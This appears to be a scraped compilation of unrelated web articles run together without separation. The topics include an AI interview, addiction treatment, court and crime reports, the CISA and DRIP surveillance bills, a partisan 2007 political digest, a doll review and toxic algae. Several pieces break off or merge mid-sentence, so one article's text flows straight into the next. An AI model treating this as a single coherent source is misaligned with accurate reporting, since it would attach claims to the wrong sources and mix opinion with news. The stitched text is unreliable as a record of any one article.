I think that hundreds of years from now if people invent a technology that we haven’t heard of yet, maybe a computer could turn evil. But the future is so uncertain. I don’t know what’s going to happen five years from now. The reason I say that I don’t worry about AI turning evil is the same reason I don’t worry about overpopulation on Mars. Hundreds of years from now I hope we’ve colonized Mars. But we’ve never set foot on the planet so how can we productively worry about this problem now?
What’s it like working on AI every day?
I think AI is akin to building a rocket ship. You need a huge engine and a lot of fuel. If you have a large engine and a tiny amount of fuel, you won’t make it to orbit. If you have a tiny engine and a ton of fuel, you can’t even lift off. To build a rocket you need a huge engine and a lot of fuel.
The analogy to deep learning [one of the key processes in creating artificial intelligence] is that the rocket engine is the deep learning models and the fuel is the huge amounts of data we can feed to these algorithms.
You spent time at Google—what’s your view on self-driving cars?
I sat close to that team and I’m friends with a lot of them, so I have a sense of what they’re doing. But I was not contributing directly to them.
I think self-driving cars are a little further out than most people think. There’s a debate about which one of two universes we’re in. In the first universe it’s an incremental path to self-driving cars, meaning you have cruise control, adaptive cruise control, then self-driving cars only on the highways, and you keep adding stuff until 20 years from now you have a self-driving car. In universe two you have one organization, maybe Carnegie Mellon or Google, that invents a self-driving car and bam! You have self-driving cars. It wasn’t available Tuesday but it’s on sale on Wednesday.
I’m in universe one. I think there’s a lot of confusion about how easy it is to do self-driving cars. There’s a big difference between being able to drive a thousand miles, versus being able to drive anywhere. And it turns out that machine-learning technology is good at pushing performance from 90 to 99 percent accuracy. But it’s challenging to get to four nines (99.99 percent). I’ll give you this: we’re firmly on our way to being safer than a drunk driver.
You founded Coursera and championed the value of online education programs. How do you think about the future of education?
Our education system has succeeded so far in teaching generations to do different routine tasks. So when tractors displaced farming labor we taught the next generation to work in factories. But what we’ve never really been good at is teaching a huge number of people to do non-routine creative work.
Do you buy the argument that the future of labor is less in peril because automation will lower the cost of goods so you will only need to work 10-20 hours a week?
I would have said zero hours. I see a minimum living wage as a long-term solution, but I’m not sure that’s my favorite. I think society benefits if all the human race is empowered and aspiring to do great things. Giving people the skill sets to do great things will take work.Submitted by Nick Bernabe via TheAntiMedia.org,
Hillary Clinton-aligned Super PAC, Correct the Record, is taking a page out of Vladimir Putin’s playbook by employing a $1 million dollar professional internet troll army to build a paid, positive consensus about the Clinton campaign. The effort, called “Breaking Barriers 2016,” claims:
“While Hillary Clinton fights to break down barriers and bring America together |
2007 to 2014.
The knowledge that many are afflicted or affected has helped people understand the powerful psychological and physiological grip of addiction. As a result, stigma has decreased.
What was once relegated to the back burner of public concern has become a top public health priority.
We addiction experts also have gained better understanding of the illness, and we see reasons for hope.
Shifts in public policy
The Affordable Care Act and the Mental Health Parity and Addiction Equity Act combined to finally require insurance companies to cover treatment for patients suffering from addiction. Insurance companies can no longer deny treatment or significantly limit treatment for psychiatric disorders, including addiction, as they had in the past.
President Obama recently proposed US$1.1 billion in funding to expand access to treatment for opioid addiction and overdose prevention.
In July, the House passed a bill that would further expand access to care for addiction and other mental health conditions.
Then, on July 22, the president signed into law the Comprehensive Addiction and Recovery Act of 2016.
If adequately funded by Congress, the law will help to strengthen prevention, treatment and recovery efforts.
This improves treatment options for individuals in the criminal justice system, which may decrease rates of return to crime and prison. It also expands access to naloxone, a lifesaving drug that emergency medical workers and even family and friends, in certain cases, can administer to someone who has overdosed.
This stepped-up policy response is giving doctors the means to better treat people with opioid addiction. When combined with improvements in public understanding that addiction is a disease requiring treatment, we as a society are creating an environment that supports treatment. We believe this will save many thousands of lives.
A societal effort
Physicians are re-examining their own prescribing practices to decrease the likelihood of medication diversion or misuse and to minimize the development of iatrogenic addiction, or addiction that stems from medical treatment.
Law enforcement officials have worked to close down hundreds of “pill mills,” or clinics purporting to serve patients with chronic pain disorders. In reality, they serve as primary access points for dealers selling prescription drugs on the black market.
In all states except Missouri, prescription drug monitoring programs have also helped to identify patients in need of intervention.
More patients have access to treatment than ever before, including many in the criminal justice system who participate in drug court diversionary programs. Such programs save taxpayer money and decrease recidivism.
Greater understanding and knowledge
The field of addiction medicine has matured and expanded, recently acquiring recognition as a dedicated medical specialty.
According to the American Society of Addiction Medicine, the disease of addiction is best understood as a single condition. There is no distinction made depending on the preferred drug(s) of abuse.
Addiction specialists conceptualize addiction as a bio-psycho-social-spiritual disease. They understand that continued use of psychoactive substances interferes with active participation in psychosocial treatment. Such usage prevents development of a personal program of recovery.
Therefore, successful treatment of opioid addiction begins with abstinence from all substances of abuse. Patients should not expect to quit using oxycodone, fentanyl or heroin but continue to drink alcohol or to smoke marijuana. The same holds true for treatment of addiction to alcohol, marijuana, cocaine or any other drug.
Some patients require medically supervised detoxification to abstain. Accessing the right treatment is crucial to success. Some will need a more intensive treatment setting. Even individuals who were unsuccessful maintaining abstinence with outpatient treatment may achieve recovery in a more intensive treatment setting.
Addiction, like other medical conditions with significant behavioral components, is a chronic condition. Relapse may occur. Thus, most patients need to learn skills that help them cope adaptively with stressors in their daily lives. Often, they need to address issues from their past that relate to substance abuse.
People with addiction may have other psychiatric conditions. They need to be treated for those, too. In many areas, publicly funded treatment programs are available for individuals lacking insurance or who cannot afford private treatment.
Support from family and 12-step programs helpful
Family members should encourage patients suffering from addiction to seek a professional evaluation. This will help determine the appropriate level of care, which could range from outpatient management to long-term residential treatment.
In addition, physicians and other treatment specialists highly encourage participation in a 12-step recovery program, such as Alcoholics Anonymous or Narcotics Anonymous. Such programs are free, and they offer many benefits. Research has documented significantly reduced risk of relapse with increased likelihood of successful outcome among patients treated for opioid addiction in this way.
Family members often benefit from 12-step programs, too. Al-Anon or Alateen can help them learn how best to support their loved one without enabling the addiction.
Medications also helpful
Patients with opioid use disorders may also benefit from medication assistance. Currently, four types of prescription medication are approved to assist with treatment of opioid addiction.
The opioid antagonist medication, naltrexone, is available as a daily oral pill or as a monthly intramuscular injection. It helps patients by decreasing cravings. It also blocks patients’ ability to “get high,” even if they use an opioid drug. Naltrexone has no abuse potential, and can be safely used by most patients.
Second, the opioid partial agonist medication buprenorphine is available as an oral pill, dissolving tablet or filmstrip. It also reduces cravings and reduces and prevents withdrawal symptoms. It, too, blocks the ability to “get high.”
Buprenorphine has some abuse potential, however. It should be used only under guidance and careful monitoring by a physician with sufficient expertise. In fact, doctors must receive a waiver to be allowed to prescribe buprenorphine.
Third, the opioid agonist medication methadone prevents withdrawal symptoms, reduces cravings and interferes with the ability to “get high” from other opioids.
Methadone also has abuse potential and risk of overdose if used inappropriately, however. As a result, methadone is typically dispensed in liquid form on a daily basis, and only from specialized methadone maintenance treatment clinics.
Finally, for individuals at high risk of relapse, new measures are in place to help prevent death in the event of accidental overdose. The opioid antagonist medication naloxone is now available in an automatic injector formulation for use by police, EMTs and other first responders. Naloxone has long been used by medical professionals in emergency rooms to reverse opioid overdose.
Naloxone is also available by prescription for patients with opioid addiction and their families to keep on hand as a safety precaution. In some states it is also available over the counter at certain pharmacies. It can be viewed much like an Epi-pen, which patients with severe allergies keep on hand for emergencies. A naloxone nasal spray is newly available, which may further facilitate access to this lifesaving medication.
These changes to public policy and advances in opioid treatment have greatly improved the prognosis for patients suffering from opioid addiction. Research and clinical evidence have demonstrated that long-term recovery is not only possible, but expected, following adequate treatment with appropriate follow-up care.
Now, more than ever, there is hope for healing from addiction.Kane Jacob Sefton, 17, leaves Maroochydore Magistrates Court after appearing on two counts of common assault and one count of wilful damage.
Kane Jacob Sefton, 17, leaves Maroochydore Magistrates Court after appearing on two counts of common assault and one count of wilful damage. Stuart Cumming
ONE of New Zealand's top surf life savers has pleaded guilty to wilful damage in relation to an incident which occurred at Alexandra Headland during the national titles.
Kane Jacob Sefton, 17, was also charged with two counts of common assault after allegedly throwing a tub of coleslaw which landed near a man and his child on Alexandra Parade about 3.10pm last Sunday.
The salad allegedly hit the man and his four-year-old daughter and splashed into their car.
Sefton represents New Zealand at a youth level in surf life saving.
His common assault matters were adjourned on Friday so his defence solicitor could make submissions to the police prosecution.
The court heard Sefton was due to return to New Zealand on Saturday.
His matters are next due for mention on May 13.A Frenchman who killed his boss and pinned his severed head to a fence at an industrial gas factory has committed suicide in his jail cell, prison authorities said on Wednesday.
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Yassin Salhi, 35, hanged himself from the bars of his cell using his bedsheets on Tuesday night, according to authorities at Fleury-Merogis prison, in the southern suburbs of Paris.
The driver and deliveryman carried out the grisly attack on employer Herve Cornara in Isere, southeastern France in June, displaying his boss’s head outside the plant surrounded by Islamic flags.
He tried to blow up the facility but was arrested and remanded in custody.
Salhi had been placed in solitary confinement but was not considered a suicide risk. He had always disavowed any religious motive for his crime, but prosecutors were pressing charges of Islamic-related terrorism.
The married father-of-three was born in the eastern French town of Pontarlier, near the border with Switzerland, to a father of Algerian origin and a mother with a Moroccan background.
Salhi caught the attention of intelligence authorities in 2005 and 2006 because he was socialising with a group of people associated with radical Islam, a source close to the case told AFP in June.
Intelligence services investigated him for a few years thereafter, but did not renew their inquiry in 2008.
He popped up again on the intelligence services’ radar in 2013 because he was associating with people suspected of links to radical Islam. At the time he wore a beard and a traditional North African robe called a djellaba.
France is on high alert after a state of emergency was declared in the wake of last month’s Paris attacks, when a group of Islamic extremists killed 130 people.
A jihadist plot was foiled last week in the French region of Orleans, southwest of Paris, Interior Minister Bernard Cazeneuve said Tuesday, as the government prepared constitutional changes to enshrine emergency police powers.
(AFP)The Fortune Building is saved from the wrecking ball — for now.
Winnipeg's historical buildings and resources committee recommended Thursday the 133-year-old Main Street building be protected as a historical building.
The owner had wanted it demolished.
It means times won't be changing for Times Change(d) High and Lonesome Club — at least not yet.
Building owner George Landis had asked the committee earlier today that the building not be placed on the list of historical resources.
Landis wrote in his submission that all the doors, windows and floors on the main floor have been replaced over the years.
The second and third floors have been vacant for 45 years, there is water damage, and the brickwork on the outside of the building is unstable, he said.
"In other words, the building is beyond repair and placing any impediment to demolition and redeveloping the site would be economically unfeasible and a disservice to the community," he wrote.
One of Winnipeg's oldest buildings
At 133 years old, the Fortune Block is one of the oldest buildings in Winnipeg's downtown. (Gary Solilak/CBC) The Fortune Block was built in 1882 and has long been home to the Times Change(d) High and Lonesome Club, a blues bar that plays host to both local and internationally known musicians.
At 133 years old, the Fortune Block is one of the oldest buildings in Winnipeg's downtown.
Once the building is placed on the historical resources list, the exterior and interior elements are protected from alteration or removal in the future except where approved through a heritage permit.
Last fall a car slammed into the front of the building, but club owner John Scoles vowed it would stay open.
On Thursday, Scoles said the blues club is special to him and the community, and its historical relevance is reason to keep it from being torn down. However, it may not end that way, he acknowledged.
"What we've built there is... more than just four walls," he said.
"But these kind of situations in the past have proven to galvanize the community, and I expect this one to be the same."
Final decision yet to come
The recommendation to protect the building now goes to the downtown development, heritage and riverbank management committee where the owner can make a presentation, before the matter goes to city council.Instead of watching the circus that is reality TV, two UK-based designers are suggesting that we could all be entertained in our own homes by watching robots devour vermin.
They have created five Carnivorous Domestic Entertainment Robots, which are powered not by the sun, the wind or even batteries, but by microbial fuel cells. This means they are designed to catch all manners of flying, creeping and crawling insects -- or rodents -- and digest them to produce power.
The designers, Jimmy Loizeau and James Auger, describe their creations as "dark forms of life", but suggest that we humans will feel a growing affection towards these robots as they devour for power -- a viewpoint they explain in the video below.
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There are five robots in total. These include the Lampshade Robot, which lures flies and moths to eat, and the Cobweb Robot, which encourages spiders to weave webs, then extracts the little victims from the webs to lodge in its fuel cell. There's also a UV Parasite Fly Killer Robot and the Flypaper Robotic Clock.
But the creation that elicited the most horror at Wired HQ is the Mousetrap Coffee Table Robot. The idea is that food debris could be used to lure an unsuspecting mouse or rat onto the custom designed coffee table. At the centre is a trap door, which, when triggered by motion sensors, will open to catch the rodent. Once it has died in its prison, the chemicals get to work, the microbial fuel cell does its thing, and then a light on the side of the table will show how much energy is being produced. You know, just for fun.
Read next I tried to keep my unborn child secret from Facebook and Google I tried to keep my unborn child secret from Facebook and Google
Along with their interstitial space helmet, the robots remain as concepts only, much to the relief of rodents and bugs inside the nation's domestic crevices. Find out more in the video below, and let us know what you think in the comments.
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</object>Thursday edition - November 8, 2007
Veterans Make Up 1 in 4 Homeless in US
The Associated Press - 11-8-07
WASHINGTON (AP) — Veterans make up one in four homeless people in the United States, though they are only 11 percent of the general adult population
Declining violence leads 46000 refugees back to Iraq, government says
Dallas Morning News, TX - 11-8-07
Qassim al-Moussawi, the Iraqi spokesman for a US-Iraqi military push to pacify Baghdad, said border authorities recorded 46030 people returning to Iraq in October and attributed the large number to the "improving security situation Georgia's President declares a state of emergency
Christian Science Monitor - 11-8-07
Mikhail Saakashvili, who came to power after the 2003 Rose Revolution, suspended liberties in the face of street protests.
One out of four homeless people are veterans? I guess we only support our troops in the war zone.
Pat Robertson is endorsing Giuliani. Praise the lard.- Grant Gerver, www.seriouskidding.com
The-World-Is-A-Safer-Place-Without-Saddam News
Rush To Arms
“We have 190,000 lost weapons because they were not distributed properly,” said Maj. Gen. Abdul Karim Khalaf, an Interior Ministry spokesman...Many of those weapons were distributed when Gen. David H. Petraeus, now the American commander in Iraq, was in charge of training and equipping Iraqi security forces in 2004 and 2005. General Petraeus has said that he decided to arm the Iraqi forces as quickly as possible, before tracking systems were fully in place.
French President's Fact Checker As Accurate as Bush's Fact Checker
Nicolas Sarkozy made a minor gaffe on his first U.S. visit as France's president by wrongly suggesting that Secretary of State Condoleezza Rice has recent immigrant roots.
Email
Subject: Bush comments
Hi Lisa,
I teach middle school social studies and believe myself to be a good teacher, knowledgable about my subject. In New York, the US Constitution is part of the middle school curriculum. I was taken back by several comments our resident in chief made yesterday during a press conference with his new best friend, President Nicolas Sarkozy of France, perhaps the only world leader with lower approval ratings than the shrub. I was left in stitches from laughter when King George was asked if he had spoken with Musharraf and if so what he had told him. He said he had spoken with Musharraf and had told him the United States believes in free and open elections (huh??????) and went on to say he told him to take off the uniform. You can not be the President and the head of the military at the same time. Every 12 year old in New York is taught that Article 2, Section 2, Clause 1 of the US Constitution (a document I understand Georgie has trouble with) clearly states that the President of the United States is the Commander in Chief of the Armed Forces. This duty has been reaffirmed many times by both Congress and the courts including several times during his own administration!
Comments from the gallery?
Let the countdown continue!
Peter
Thank you for your service in educating our children.
Bush never lets facts or his mangling of the Constitution get in his way.
My fav pic of Bush 'in uniform"
Disturbing News
Rudy's Albatross?
Federal prosecutors plan to ask a grand jury Thursday to indict Rudy Giuliani's ex-police commissioner, Bernard Kerik, on a variety of corruption and tax fraud charges.
If the grand jury votes today to indict, the charges would be unsealed tomorrow. Kerik has made arrangements to surrender, rather than be arrested by U.S. marshals, the sources say.
Republican Shenanigans
"Fox News shows more sexualized violence and humiliation than probably any other network -- all in the name of condemning it -- while under-showing violence in Iraq, all in the name of supporting it. After this video, smart viewers and advertisers will boycott Fox." - Gloria Steinem
Click here for video
Tony Snow: Not Back At Fox News
Tony Snow was talking with ABC News execs last week, but he's apparently making the rounds of all the news shows, says a network news source. Snow didn't respond to an e-mail. But interestingly, President Bush's ex-press secretary "doesn't want to go back to Fox News"
Rock-The-Voter News
Fox guest accuses Hillary of revenge cat killings
Giuliani agrees to be re-Baptised by Pat Robertson on The 700 Club - Grant Gerver, www.seriouskidding.com
Biz-Tech News
I Never Thought I would hear Date Rape Drug and Toys in the Same Sentence - Thanks Consumer Product Safety Commission!
U.S. safety officials have voluntarily recalled about 4.2 million Chinese-made Aqua Dots toys contaminated with a powerful "date rape" drug that has caused some children to vomit and lose consciousness upon ingesting the contents.
Bush claims he wants to work with the Democrats. Yeah, right. The same way a 5- year- old with a magnifying glass wants to work with ants. - Will Durst
Bush-Prison-Torture News
Internet Spying
It would be difficult to say whose e-mail, text messages or Internet phone calls the government is monitoring at any given time, but according to a former AT&T employee, the government has warrantless access to a great deal of Internet traffic should they care to take a peek.
As information is traded between users it flows also into a locked, secret room on the sixth floor of AT&T's San Francisco offices and other rooms around the country -- where the U.S. government can sift through and find the information it wants, former AT&T employee Mark Klein alleged Wednesday at a press conference on Capitol Hill.
People like the President because he seems like a guy you could have a beer with. But now it's time to take away the car keys.- Will Durst
Go-F***-Yourself News
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Odd News
A polar bear cub kisses his mother in Wapusk National Park on the shore of Hudson Bay near Churchill, Manitoba, Canada Sunday, Nov. 4, 2007. Photo/The Canadian Press, Jonathan HaywardAfter the Senate Intelligence Committee passed CISA, its sole opponent, Ron Wyden, said, “If information-sharing legislation does not include adequate privacy protections then that’s not a cybersecurity bill – it’s a surveillance bill by another name.” Robert Graham, an expert on intrusion-prevention, argues, “This is a bad police-state thing. It will do little to prevent attacks, but do a lot to increase mass surveillance.”
Clearly, some people who have reason to know think this bill doesn’t do what it says, but instead does a lot of what it isn’t admitting.
I want to look at several aspects of the bill from that perspective (this post primarily deals with the SSCI version but the HPSCI version is very similar).
Can our ISPs take countermeasures against us?
First, whom it affects. Ron Wyden has been warning about the common commercial service OLC memo and its impact on the cybersecurity debate for years, suggesting that still secret memo conflicted public’s understanding of “the law” (though he doesn’t say what law that is). While it’s unclear what that OLC memo says, Wyden seems to suggest that Americans have been subject to cybersecurity surveillance that they didn’t know about (perhaps because OLC had interpreted consent where it didn’t exist).
So I think it’s important that at the center of a series of definitions of “entities” in CISA is a definition that would include us, as private entities.
IN GENERAL.—Except as otherwise provided in this paragraph, the term ‘‘private entity’’ means any person or private group, organization, proprietorship, partnership, trust, cooperative, corporation, or other commercial or nonprofit entity, including an officer, employee, or agent thereof.
That’s important because the law permits both monitoring…
(1) IN GENERAL.—Notwithstanding any other provision of law, a private entity may, for cybersecurity purposes, monitor— (A) an information system of such private entity; (B) an information system of another entity, upon the authorization and written consent of such other entity;
And defensive measures (what the bill has renamed the largely otherwise indistinguishable “countermeasures”) against a private entity that has provided consent to another private entity.
(B) EXCLUSION.—The term ‘‘defensive measure’’ does not include a measure that destroys, renders unusable, or substantially harms an information system or data on an information system not belonging to— (i) the private entity operating the measure; or (ii) another entity or Federal entity that is authorized to provide consent and has provided consent to that private entity for operation of such measure.
At a minimum, I think this should raise questions about whether Terms of Service of cable companies and Internet Service Providers and banks and telecoms amount to consent for this kind of monitoring and — in the name of cybersecurity — countermeasures.
Researching more crimes in name of cybersecurity than in name of terror
This is important, because CISA actually permits the use of information collected in the name of “cybersecurity” to be used for more uses than the NSA is permitted to refer it under foreign intelligence collection (though once FBI is permitted to back door search everything, that distinction admittedly disappears). In addition to its use for cybersecurity — which is itself defined broadly enough to mean, in addition, leak and Intellectual Property policing — this “cybersecurity” information can be used for a variety of other crimes.
(iv) the purpose of responding to, or otherwise preventing or mitigating, an imminent threat of death, serious bodily harm, or serious economic harm, including a terrorist act or a use of a weapon of mass destruction; (v) the purpose of responding to, or otherwise preventing or mitigating, a serious threat to a minor, including sexual exploitation and threats to physical safety; or (vi) the purpose of preventing, investigating, disrupting, or prosecuting an offense arising out of a threat described in clause (iv) or any of the offenses listed in— (I) section 3559(c)(2)(F) of title 18, United States Code (relating to serious violent felonies); (II) sections 1028 through 1030 of such title (relating to fraud and identity theft); (III) chapter 37 of such title (relating to espionage and censorship); and (IV) chapter 90 of such title (relating to protection of trade secrets).
As a number of people have noted, for CISA data to be used for the purposes suggest both private entities — upon sharing — and the government — on intake — actually will be leaving a fair amount of data in place.
Why does domestic spying have less stringent minimization than foreign spying?
Which brings me to the purported “privacy and civil liberties guidelines” the bill has. The bill mandates that the Attorney General come up with guidelines to protect privacy that will,
(A) limit the impact on privacy and civil liberties of activities by the Federal Government under this Act; (B) limit the receipt, retention, use, and dissemination of cyber threat indicators containing personal information of or identifying specific persons, including by establishing— (i) a process for the timely destruction of such information that is known not to be directly related to uses authorized under this Act; and (ii) specific limitations on the length of any period in which a cyber threat indicator may be retained; (C) include requirements to safeguard cyber threat indicators containing personal information of or identifying specific persons from unauthorized access or acquisition, including appropriate sanctions for activities by officers, employees, or agents of the Federal Government in contravention of such guidelines; (D) include procedures for notifying entities and Federal entities if information received pursuant to this section is known or determined by a Federal entity receiving such information not to constitute a cyber threat indicator; (E) protect the confidentiality of cyberthreat indicators containing personal information of or identifying specific persons to the greatest extent practicable and require recipients to be informed that such indicators may only be used for purposes authorized under this Act; and (F) include steps that may be needed so that dissemination of cyber threat indicators is consistent with the protection of classified and other sensitive national security information.
It’s worth comparing what would happen here to what happens under both Section 215 (which FBI claims to use for cybersecurity) and FAA (which ODNI has admitted to using for cybersecurity — and indeed, which uses upstream searches to find the very same kind of signatures).
With the former, the FISC had imposed minimization procedures and required the government report on compliance with them. The FISC, not the AG, has set retention periods. And at least for the NSA’s use of Section 215 (which should be the comparison here, since NSA will be one of the agencies getting the data), data must be presumptively minimized. Also, unlikely the phone dragnet data, at least, where data must be certified according to a counterterrorism use, here, data is shared across multiple agencies in real time.
FAA’s minimization procedures also get reviewed by the FISC (though reports back are probably not as stringent, though they are checked yearly). And there’s a whole slew of reporting.
While there is some reporting here, it is bifurcated so that PCLOB, which has no subpoena power, does the actual privacy assessment, whereas the Inspectors General, which are assured they can get information they need (even if DOJ’s Inspector General keeps getting denied data they should get), report solely on numbers and types of usage, without a privacy or even compliance assessment.
One of my favorite parts of CISA (this is true of both bills) is that while the bills mandate an auditing ability, they don’t actual mandate audits (the word appears exactly once in both bills).
In other words, Congress is about to adopt a more permissive collection of data for domestic spying than it does for foreign spying. Or, in the context of Section 215, it may be adopting more permissive treatment of data voluntarily turned over to the government than that data turned over in response to an order.
And all that’s before you consider data flowing in the reverse direction. While the bills do require penalties if a government employee or agent (which hopefully includes the contractors this bill will spawn) abuses this data sharing, it does not for private entities. (The House version also has a 2 year statute of limitations for this provision, which all but guarantees it will never be used, given that it would never be discovered in that period, particularly given the way FOIA and Trade Secret exemptions make this data sharing less accessible even than spying data.)
Perhaps my very favorite part of this bill appears only in the House version (which of course came after the Senate version elicited pretty universal complaints that it was a surveillance bill from civil libertarians). It has several versions of this clause.
(a) PROHIBITION OF SURVEILLANCE.—Nothing in this Act or the amendments made by this Act shall be construed to authorize the Department of Defense or the National Security Agency or any other element of the intelligence community to target a person for surveillance.
The word “surveillance,” divorced from the modifier “electronic” is pretty meaningless in this context. And it’s not defined here.
So basically HPSCI, having seen how many people correctly ID this as a surveillance bill, has just taken a completely undefined term “surveillance” and prohibited that under this bill. So you can collect all the content you want under this bill with no warrant, to you can supersede ECPA all you want too, but just don’t call it surveillance.by JAKE NUTTING
As is the case in most industries, having a far-reaching network of connections at your disposal can help you get a lot of things done in professional soccer. An example of this theory’s validity is the Tampa Bay Rowdies’ preseason trip to England this year, which might not have come together if it were not for the roots of head coach Stuart Campbell.
The Rowdies have spent the first half of their 11-day trip utilizing the training grounds of Nottingham Forest FC. While Campbell may not have ever played for Forest during his lengthy career in England before moving stateside in 2012 to join the Rowdies, he does have a connection to the Championship side through the club’s assistant manager Lennie Lawrence.
Campbell first played under Lawrence at Grimsby Town, when the manager paid what the Rowdies boss describes as “a decent chunk of money” to acquire him on loan from Leicester City in the Premier League in 2000.
“It was great,” Campbell says of his time at Grimsby. “[Lennie] had the confidence in me to come and be a regular starter for him, which I loved because I’d gotten into the routine of being a sub or fringe player at Leicester. Where you played a game, you missed a game, you played a game and you missed a game. So under Lennie at Grimsby it was really the first time I was regarded as a starter.”
Lawrence was released by Grimsby in 2001, but Campbell took full advantage of the opportunity presented to him during his loan and impressed enough to earn a three-year contract with the club.
“I’ve got an enormous amount of respect for Lennie,” says Campbell. “Not just for what he’s done for me on a personal level, but for what he’s achieved in the professional game over here.”
The two crossed paths again at Campbell’s next stop, Bristol Rovers. Campbell was well established as Bristol’s captain when Lawrence was appointed Director of Football in 2007. The reunion was a quick success, as the club earned promotion to League One after claiming victory in the League Two playoffs.
“He was definitely influential for my career. To steal the phrase he used when I introduced him to the other coaches, he said he saved my career twice. That’s what he said!” Campbell chuckles.
Campbell says he and Lawrence have maintained a relationship over the years. So it made sense for Campbell to turn to a familiar face when deciding how he’d prepare for his first chance at an offseason after two previous stints as an interim coach.
“Lennie was a great help in regards to putting together this trip,” he says. “He helped arrange the game against Nottingham Forest, but he also helped arrange for us to use their training facility, which we’ve been using all week, and they’re honesty great.”
The Rowdies will end their stay in Nottingham on Saturday when they depart for St George’s Park, where they’ll to face a mixture of reserves and first-team players from Premier League side Stoke City FC on March 15.
IMAGE, TAMPA BAY ROWDIES
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PrintUpdate: As predicted, DRIP has already become law: it received royal assent on Thursday July 17, 2014.
The UK government is currently forcing through Parliament a wide-ranging set of changes to that country's digital surveillance and data retention law. The pace of the progression of the new amendments, called the Digital Retention and Investigatory Powers Bill (or "DRIP") has been astounding. Introduced without warning last Friday, if not opposed by peers in Britain's House of Lords, it looks like it may become law within the week.
Opponents of the bill are having to work as individuals, as the leadership of all the major parties support the bill, including Labour, the main opposition party, and governing coalition partners the Liberal Democrats, despite that party's historic reputation for defending civil liberties. The price for these parties' support appears to have been a handful of minor concessions to allow further oversight.
That price is far too low. The oversight proposals appear to be based on the United States' surveillance review mechanisms: a privacy and civil liberties oversight board modeled on the United State's board of the same name, and a sunset (expiry) date on the legislation. Both of these approaches have proven to be failures within the United States.
DRIP's sunset proposals are an echo of the same clauses in the United States' PATRIOT Act, where expansive wiretapping clauses written in the weeks after 9/11 were built to expire on December 31, 2005. Like DRIP, the sunset provisions were an attempt to mollify those concerned that the legislation was rushing through emergency measures without due consideration. Thirteen years later, and four sunsets later, none of these temporary provisions have been substantially reformed, moderated or revoked. It seems to be a law of nature: just as the sun always rises after a sunset, so sunset clauses are always renewed.
If British members of parliament believe they will be given more scope from a future government to re-consider their decisions after a sunset period, they should ask themselves what will make the future different from today, when existing oversight bodies such as the UK's Intelligence and Security Committee and the House of Lords Constitution Committee have been ignored.
The misadventures of the United States' Privacy and Civil Liberties Oversight Board are even less inspiring. Created in 2005 on the recommendation of the Senate 9-11 Commission, the PCLOB operated for barely a year before being caught between disputes between Congress and the Presidency. One of its members resigned over Whitehouse interference. Between January 2008, and May 2013, the PLOB lacked members and was effectively non-existent. While the newly-reformed independent executive agency has subsequently been critical of the NSA's domestic surveillance program, this has largely been in response to the Snowden documents, and the impact of its reports has so far been limited.
True oversight means being time to consider the issues at length, and with technical and policy assistance. Britain is not the only country in Europe responding to the revocation of the Data Retention Directive. To avoid violating EU law again, its politicians should consult with other countries to develop a consistent and rights-friendly surveillance policy. Britain's PCLOB is so far based on a promise: it is not mentioned in DRIP bill, and has been given no statutory powers. An oversight body needs the right to subpoena, and the right of access to technical expertise. It should be a Parliamentary institution, not a board that reports to the Prime Minister. Better still, open judicial review of surveillance warrants should be introduced, rather than the secret and executive-driven model currently mandated by UK law.
As Labour Member of Parliament Tom Watson notes, the urgency ceded by Britain's opposition parties to DRIP's passage make little sense. The government claims that the law needs to be passed quickly to re-impose data retention on ISPs after the Europe-wide Data Retention Directive was revoked as a violation of European human rights by the EU's Court of Justice (CJEU). But the CJEU's decision was in April; any legal challenge to continuing data retention within the United Kingdom would take at least seven months to complete. Besides, the point of the CJEU's decision was that data retention requires greater oversight and better consideration of human rights, not less. To ram through a blunt data retention bill |
watch how much strength is left on my hands, legs and hips."
However, Ganguly is sure that the matches will have quality cricket.
"No one one wants to get out, and the bowlers also don't want to get spanked. So it will be a good contest," he added.By
I received the product below to review in exchange for sharing my honest opinion.
Lalaloopsy Dolls seem to be everywhere nowadays, from toy ovens to play sets to clothes, but the classic toys are the dolls. The doll’s story is that they were once rag dolls who magically came to life when their very last stitch was sewn. Each doll has her own personality and there seems to be a Lalaloopsy doll for every occasion! Like princesses, animals, rockin’ out? There is a Lalaloopsy Doll for that!
Recently I got the chance to check out some large Lalaloopsy Core Dolls, which are basically 13 inch dolls to play with. No batteries required or additional pieces other than the simple doll and her clothes. Each doll reflects her personality and of course has a name to match. I got to check out Royal T. Honey Stripes, Cherie Prim N Proper, Strings Pick ‘N’ Strum and Keys Sharps N Flats so far.
Lalaloopsy Doll- Water Mellie Seeds is a new character who was sewn from watermelon seeds. She is considered a do-it-yourself star from building birdhouses or carving melon masterpieces. She was sewn on August 3rd (National Watermelon Day!)
She is a collectible doll that is perfect for playing with or displaying, She has removable shoes and dress but really is not a doll you’d dress up but more of a doll to play with as is. Her arms and legs can move and she can be positioned to sit. For any Lalaloopsy fan, she is a great doll to add to a collection! My daughter loves how adorable she is and fluffy her dress!
Stay Connected with Lalaloopsy:
Lalaloopsy WEBSITE | Lalaloopsy YOUTUBE | Lalaloopsy FACEBOOK | Lalaloopsy INSTAGRAM
BUY IT: Look for Lalaloopsy Doll- Water Mellie Seeds wherever toys are sold.
WIN IT: (1) US winner will receive the Lalaloopsy Doll- Water Mellie Seeds
Need help entering a giveaway? Check out my blog post for some help!
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This Giveaway Ends February 29, 2016.Toxic algae grow in a large bloom in the Copco Reservoir on the Klamath River near Portland, posing health risks to people, pets and wildlife. Photo by Oregon State University
CORVALLIS, Ore., Aug. 13 (UPI) -- Unchecked blooms of cyanobacteria, or blue-green algae, in rivers, lakes and reservoirs pose a growing health risk to animals and possibly humans, according to researchers in a new analysis of waterways in the United States.
Cyanobacteria are often fatal to pets and wildlife that drink contaminated water. In humans, the toxin microcystin, produced by cyanobacteria, is a liver toxin and may cause liver cancer. Some forms of the algae also cause gastrointestinal illnesses and acute skin rashes.
Researchers said part of the problem is the lack of national standards for monitoring algae growth, as well as no requirements for reporting illnesses they cause to the Centers for Disease Control and Prevention.
"At this point we only have toxicology data for a handful of these toxins, and even for those it remains unclear what are the effects of chronic, low-dose exposures over a lifetime," said Tim Otten, a postdoctoral scholar in the Oregon State University Department of Microbiology, in a press release. "We know some of the liver toxins such as microcystin are probable carcinogens, but we've really scratched only the surface with regard to understanding what the health effects may be for the bioactive metabolites produced by these organisms."
Cyanobacteria, found around the world, are believed to be among the oldest organisms on Earth and responsible for at least some of the oxygen that gave rise to more complicated forms of life on the planet. Researchers call the issue they're bringing to light complex because some forms of the algae play a positive role in lakes and rivers.
